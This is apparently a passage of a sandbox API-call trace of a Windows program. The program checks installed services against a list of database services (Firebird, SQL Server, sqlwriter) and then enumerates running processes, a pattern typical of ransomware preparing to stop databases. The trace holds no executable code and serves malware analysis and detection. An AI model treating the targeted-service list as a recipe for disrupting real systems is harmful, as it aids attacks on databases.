	[0059.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0059.139] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0059.139] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0059.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0059.139] lstrlenW (lpString="nsi") returned 3
	[0059.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0059.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0059.139] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0059.139] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0059.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0059.139] lstrlenW (lpString="PcaSvc") returned 6
	[0059.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0059.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0059.139] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0059.139] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0059.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0059.139] lstrlenW (lpString="PlugPlay") returned 8
	[0059.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0059.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0059.139] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0059.139] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0059.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0059.139] lstrlenW (lpString="Power") returned 5
	[0059.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0059.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0059.139] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0059.139] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0059.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0059.139] lstrlenW (lpString="ProfSvc") returned 7
	[0059.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0059.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0059.139] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0059.140] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0059.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0059.140] lstrlenW (lpString="RpcEptMapper") returned 12
	[0059.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0059.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0059.140] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0059.140] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0059.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0059.140] lstrlenW (lpString="RpcSs") returned 5
	[0059.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0059.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0059.140] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0059.140] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0059.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0059.140] lstrlenW (lpString="SamSs") returned 5
	[0059.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0059.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0059.140] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0059.140] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0059.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0059.140] lstrlenW (lpString="Schedule") returned 8
	[0059.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0059.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0059.140] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0059.140] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0059.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0059.140] lstrlenW (lpString="SecurityHealthService") returned 21
	[0059.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0059.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0059.140] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0059.140] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0059.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0059.140] lstrlenW (lpString="SENS") returned 4
	[0059.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0059.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0059.140] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0059.140] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0059.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0059.141] lstrlenW (lpString="ShellHWDetection") returned 16
	[0059.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0059.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0059.141] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0059.141] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0059.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0059.141] lstrlenW (lpString="Spooler") returned 7
	[0059.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0059.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0059.141] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0059.141] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0059.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0059.141] lstrlenW (lpString="SSDPSRV") returned 7
	[0059.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0059.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0059.141] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0059.141] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0059.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0059.141] lstrlenW (lpString="StateRepository") returned 15
	[0059.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0059.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0059.141] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0059.141] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0059.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0059.141] lstrlenW (lpString="SysMain") returned 7
	[0059.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0059.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0059.141] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0059.141] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0059.141] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43d4cd0 | out: hHeap=0x650000) returned 1
	[0059.141] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x334
	[0059.196] Process32FirstW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0059.197] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0059.198] lstrlenW (lpString="System") returned 6
	[0059.198] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0059.198] lstrlenW (lpString="smss.exe") returned 8
	[0059.198] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0059.199] lstrlenW (lpString="csrss.exe") returned 9
	[0059.199] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0059.200] lstrlenW (lpString="wininit.exe") returned 11
	[0059.200] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0059.201] lstrlenW (lpString="csrss.exe") returned 9
	[0059.201] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0059.201] lstrlenW (lpString="winlogon.exe") returned 12
	[0059.201] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0059.202] lstrlenW (lpString="services.exe") returned 12
	[0059.202] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0059.203] lstrlenW (lpString="lsass.exe") returned 9
	[0059.203] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.203] lstrlenW (lpString="svchost.exe") returned 11
	[0059.203] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0059.204] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0059.204] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0059.205] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0059.205] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.211] lstrlenW (lpString="svchost.exe") returned 11
	[0059.211] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0059.212] lstrlenW (lpString="dwm.exe") returned 7
	[0059.212] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.212] lstrlenW (lpString="svchost.exe") returned 11
	[0059.213] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.213] lstrlenW (lpString="svchost.exe") returned 11
	[0059.213] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.214] lstrlenW (lpString="svchost.exe") returned 11
	[0059.214] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.215] lstrlenW (lpString="svchost.exe") returned 11
	[0059.215] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.215] lstrlenW (lpString="svchost.exe") returned 11
	[0059.215] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.216] lstrlenW (lpString="svchost.exe") returned 11
	[0059.216] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.217] lstrlenW (lpString="svchost.exe") returned 11
	[0059.217] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.217] lstrlenW (lpString="svchost.exe") returned 11
	[0059.217] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.218] lstrlenW (lpString="svchost.exe") returned 11
	[0059.218] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0059.219] lstrlenW (lpString="spoolsv.exe") returned 11
	[0059.219] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.220] lstrlenW (lpString="svchost.exe") returned 11
	[0059.220] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.220] lstrlenW (lpString="svchost.exe") returned 11
	[0059.220] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0059.221] lstrlenW (lpString="audiodg.exe") returned 11
	[0059.221] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0059.222] lstrlenW (lpString="sihost.exe") returned 10
	[0059.222] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.222] lstrlenW (lpString="svchost.exe") returned 11
	[0059.222] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0059.223] lstrlenW (lpString="taskhostw.exe") returned 13
	[0059.223] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0059.224] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0059.224] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0059.224] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0059.224] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0059.225] lstrlenW (lpString="explorer.exe") returned 12
	[0059.225] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0059.226] lstrlenW (lpString="Memory Compression") returned 18
	[0059.226] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0059.226] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0059.227] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0059.227] lstrlenW (lpString="SearchUI.exe") returned 12
	[0059.227] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0059.228] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0059.228] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0059.229] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0059.229] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0059.229] lstrlenW (lpString="taskhostw.exe") returned 13
	[0059.229] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0059.230] lstrlenW (lpString="UsoClient.exe") returned 13
	[0059.230] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0059.231] lstrlenW (lpString="taskhostw.exe") returned 13
	[0059.231] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0059.275] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0059.275] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0059.276] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0059.276] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0059.276] lstrlenW (lpString="msoia.exe") returned 9
	[0059.276] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0059.277] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0059.277] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0059.278] lstrlenW (lpString="msoia.exe") returned 9
	[0059.278] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="roof.exe")) returned 1
	[0059.278] lstrlenW (lpString="roof.exe") returned 8
	[0059.278] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="minority-weird-increases.exe")) returned 1
	[0059.279] lstrlenW (lpString="minority-weird-increases.exe") returned 28
	[0059.279] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="halloween_french_yugoslavia.exe")) returned 1
	[0059.280] lstrlenW (lpString="halloween_french_yugoslavia.exe") returned 31
